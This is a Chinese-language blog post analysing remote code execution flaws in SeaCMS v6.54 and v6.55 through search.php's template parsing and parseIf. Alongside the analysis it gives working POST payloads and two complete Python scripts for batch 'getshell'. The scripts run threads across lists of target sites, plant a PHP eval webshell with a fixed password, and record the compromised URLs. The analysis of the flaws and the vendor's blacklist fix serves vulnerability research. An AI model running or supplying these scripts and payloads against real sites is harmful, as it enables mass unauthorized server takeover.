前言#

这两个版本修复上次的v6.45版本中的order传值后执行的漏洞，但是在新的版本里面利用parseIf函数的功能还可以继续利用。因为上一篇也已经过了一遍search.php的执行过程，这篇就不再重复讲解了。链接：http://getpass.cn/2018/03/02/SeaCMS%20v6.45%E5%89%8D%E5%8F%B0Getshell%20%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(%E6%AF%8F%E6%97%A5%E4%B8%80%E6%B4%9E)/

环境#

Web： phpstudy System： Windows 10 X64 Browser： Firefox Quantum Python version ： 2.7

v6.54漏洞详情#

漏洞代码执行#

Payload#

get:http://seacms.test/search.php POST: searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

执行结果#

分析过程#

这个版本只是把order的变量做了限制，但是声明为global变量的不止order,为什么不用其他而用order，在上一篇已经讲过了。


$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));

我看了这次构造的POC，我也是佩服这位表哥，因为分析这些代码需要大量的时间。这次通过echoSearchPage函数里面的拼接功能，我们可以在没转换之前输出一下 $content的内容，这里我推荐直接用`highlight_string($ content)直接输出，不用右键查看源代码了。大家可以先在searchword替换前输出 $content`，可以看到还没有开始替换。 ![](https://pic-1252849007.cos.ap-guangzhou.myqcloud.com/seacms_2.png) 那我们在替换后，输出`$ content`，可以看到已经拼接成型了。


156行 $content = str_replace("{seacms:searchword}",$searchword,$content);
。。。。。。。。。。
if(intval($searchtype)==5)
{
    $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
    $jq = !empty($jq)?$jq:'全部';
    $area = !empty($area)?$area:'全部';
    $year = !empty($year)?$year:'全部';
    $yuyan = !empty($yuyan)?$yuyan:'全部';
    $letter = !empty($letter)?$letter:'全部';
    $state = !empty($state)?$state:'全部';
    $ver = !empty($ver)?$ver:'全部';
    $money = !empty($money)?$money:'全部';
  $content = str_replace("{searchpage:type}",$tid,$content);
    $content = str_replace("{searchpage:typename}",$tname ,$content);
    $content = str_replace("{searchpage:year}",$year,$content);
    $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
    $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
    if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
    $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
    $content = str_replace("{searchpage:ver}",$ver,$content);
    $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
    $content=$mainClassObj->parseSearchItemList($content,"type");
    $content=$mainClassObj->parseSearchItemList($content,"year");
    $content=$mainClassObj->parseSearchItemList($content,"area");
    $content=$mainClassObj->parseSearchItemList($content,"letter");
    $content=$mainClassObj->parseSearchItemList($content,"lang");
    $content=$mainClassObj->parseSearchItemList($content,"jq");
    $content=$mainClassObj->parseSearchItemList($content,"state");
    $content=$mainClassObj->parseSearchItemList($content,"ver");
    $content=$mainClassObj->parseSearchItemList($content,"money");
}.

又到parseIf处理这里了，我们都可以使用highlight_string($content)和var_dump($iar[1])来输出匹配前和匹配后的结果。匹配前：匹配后：所以又执行了我们传参进去的代码。

构造POC#

这个是大佬给出的POC： searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

其实很简单，每个参数做了限制，传入的字符串个数不能超过20个就行了。 9就是$_POST[9]里面的值，可以任意修改只要不超过20个字符。

用Python编写批量Getshell脚本#

只是在上一个脚本做下修改就行了，同样支持单个和批量getshell。


'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
    if sys.argv[1]== "-f":
        target=target[0]
    url=target+"/search.php"
    payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
    data={
        "searchtype":"5",
        "searchword":"{if{searchpage:year}",
        "year":":e{searchpage:area}}",
        "area":"v{searchpage:letter}",
        "letter":"al{searchpage:lang}",
        "yuyan":"(join{searchpage:jq}",
        "jq":"($_P{searchpage:ver}",
        "ver":"OST[9]))",
        "9[]":payload,
    }

    shell = target+'/shell.php'
    try:
        requests.post(url,data=data)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python check_order.py.py -h target/-f target-file'
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()

v6.55漏洞详情#

漏洞代码执行#

Payload#

GET:http://seacms.test/search.php POST: searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

执行结果#

分析过程#

这次官方给出的修复是在parseIf函数里面加了黑名单。但是没有做SERVER变量的过滤，所以可以用SERVER变量的性质来达到写入命令。


 function parseIf($content){
            if (strpos($content,'{if:')=== false){
            return $content;
            }else{
            $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
            $labelRule2="{elseif";
            $labelRule3="{else}";
            preg_match_all($labelRule,$content,$iar);
 foreach($iar as $v){
        $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

构造POC#

还是利用目标的多重替换，详细步骤见SeaCMS6.54。导致最后写入assert( $_SERVER[QUERY_STRING])，因为$ SERVER变量默认是不检查数据的安全性的，因而当我们把命令加在url后，$_SERVER[QUERY_STRING]便可以获得我们发送的请求也就是这里传递的要执行的命令。(search.php?whami)这样就执行了assert(whoami)

关于$_SERVER可以看官方文档：http://php.net/manual/zh/reserved.variables.server.php

POC：searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*

用Python编写批量Getshell脚本#

和上面差不多：


'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
    if sys.argv[1]== "-f":
        target=target[0]
    url=target+"/search.php?eval(join($_POST[9]))"
    payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
    data={
        "searchtype": "5",
        "9[]": payload,
        "searchword": "{if{searchpage:year}",
        "year": ":as{searchpage:area}}",
        "area": "s{searchpage:letter}",
        "letter": "ert{searchpage:lang}",
        "yuyan": "($_SE{searchpage:jq}",
        "jq": "RVER{searchpage:ver}",
        "ver": "[QUERY_STRING]));/*",

    }

    shell = target+'/shell.php'
    try:
        requests.post(url,data=data)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python check_order.py.py -h target/-f target-file'
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()

结束#

昨天这个漏洞审计完没有写文章，因为感冒了，所以就早早睡觉了，在这变化多端的天气，表哥们也要注意身体哦。

参考#

源码我找不到6.54和55的了，不过这些方法在低版本的程序里面也能执行成功的。所以这里找了一份6.53的：https://pan.lanzou.com/i0l9dsb

python脚本：https://github.com/F0r3at/Python-Tools/tree/master/seacms

漏洞参考文章：https://cloud.tencent.com/developer/article/1038216

PHP官方文档：http://php.net/docs.php